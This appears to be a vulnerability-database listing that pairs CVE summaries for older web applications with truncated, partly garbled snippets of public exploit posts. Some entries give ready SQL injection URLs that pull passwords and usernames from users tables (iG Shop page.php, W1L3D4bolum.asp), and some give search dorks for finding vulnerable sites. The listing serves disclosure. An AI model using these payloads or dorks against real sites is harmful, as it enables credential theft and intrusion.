CVE-2007-3598

index.php in vtiger CRM before 5.0.3 allows remote authenticated users to obtain all users' names and e-mail addresses, and possibly change user settings, via a modified record parameter in a DetailView action to the Users module. NOTE: the vendor disputes the changing of settings, reporting that...

Information disclosure

Microsoft Windows Vista uses insecure default permissions for unspecified "local user information data stores" in the registry and the file system, which allows local users to obtain sensitive information such as administrative passwords, aka "Permissive User Information Store ACLs Information...

CVE-2007-2229

Microsoft Windows Vista uses insecure default permissions for unspecified "local user information data stores" in the registry and the file system, which allows local users to obtain sensitive information such as administrative passwords, aka "Permissive User Information Store ACLs Information...

RevokeBB 1.0 RC4 - Blind SQL Injection / Hash Retrieve

!/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love ------------------------------------------------------------- "; if $argc 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.="...

igshop-sql.txt

Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

XOOPS Module MyConference 1.0 - 'index.php' SQL Injection

!/usr/bin/perl Script Name: XOOPS Module MyConference 1.0 index.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : Dork : "inurl:/modules/myconference/" S.Page : http://dev.xoops.org/modules/xfmod/project/?groupid=1072 $$ : Free .. : ajann,Turkey use IO::Socket;...

XOOPS Module MyConference 1.0 - index.php SQL Injection

XOOPS Module MyConference 1.0 - index.php SQL Injection !/usr/bin/perl Script Name: XOOPS Module MyConference 1.0 index.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : Dork : "inurl:/modules/myconference/" S.Page :...

W1L3D4-sql.txt

Discovered by: gsy & kerem125 Website: www.kerem125.com script download:http://www.aspindir.com/indir2.asp?id=4891&sIslem=%DDndir exploit:/W1L3D4bolum.asp?forumid=-99+union+all+select+0,1,2,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+from+users...

iG Shop 1.4 - 'page.php' SQL Injection

Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

iG Shop 1.4 - page.php SQL Injection

iG Shop 1.4 - page.php SQL Injection Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

CVE-2007-2590

The CVE-2007-2590 entry affects Nokia Intellisync Mobile Suite versions 6.4.31.2, 6.6.0.107, and 6.6.2.2, with possible involvement of Novell Groupwise Mobile Server and Nokia Intellisync Wireless Email Express. Affected component/pages are the direct requests to usrmgr/userList.asp and usrmgr/us...

Nuked-klaN 1.7.6 Remote Code Execution Exploit

No description provided by source. ?php Nuked-klaN 1.7.6 Remote Code Execution Exploit ------------------------------------------------ Author: DarkFig [email protected] Website: http://www.acid-root.new.fr/ PHP conditions: None = Private since 2 months. errorreportingEALL ^ ENOTICE; This file...

CVE-2007-2017

siteadmin/useredit.php in AlstraSoft Video Share Enterprise does not check authentication, which allows remote attackers to obtain or modify user information via a direct request...

XOOPS Module Zmagazine 1.0 - print.php SQL Injection

XOOPS Module Zmagazine 1.0 - print.php SQL Injection !/usr/bin/perl Script Name: XOOPS Module Zmagazine 1.0 print.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : Dork : "inurl:/modules/zmagazine/" Result:20.800 Example S. :...

Online Web Building 2.0 - id SQL Injection

Online Web Building 2.0 - id SQL Injection ---------------------------------------------------------------------- Online Web Building v2.0 id Remote SQL Injection ----------------------------------------------------------------------- Bulan: xoron...

Enthrallweb eCoupons 1.0 - 'myprofile.asp' Remote Pass Change

PASSWORD: Change Profile UserName= FIRST: LAST: tr va...

Enthrallweb eClassifieds 1.0 - Remote User Pass Change

Change Profile=Username FIRST: LAST: td align="right" nowrap class="...

SimpleBlog <= 2.3 (admin/edit.asp) Remote SQL Injection Vulnerability

No description provided by source. Title : simpleblog = v 2.3 /admin/edit.asp Remote SQL Injection Vulnerability Author : bolivar Dork : "SimpleBlog 2.3 by 8pixel.net" ---------------------------------------------------------------------------...

ASP-Nuke Community 1.5 - Cookie Privilege Escalation

ASP-Nuke Community 1.5 - Cookie Privilege Escalation Title : ASP-Nuke Community Find cookie informations. Change Informations= Cookie Informations: ASPNUKE14%5Fpseudoname , pseudoname = "Welcome USERNAME" see for ASPNUKE14%5Fpseudo , pseudo = Login UserName ASPNUKE14%5Fpseudoid , pseudoid = UserI...

NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================= NuSchool 1.0 CampusNewsDetails.asp Remote SQL Injection Exploit ================================================================= !/usr/bin/perl Script Name: NuSchool 1.0...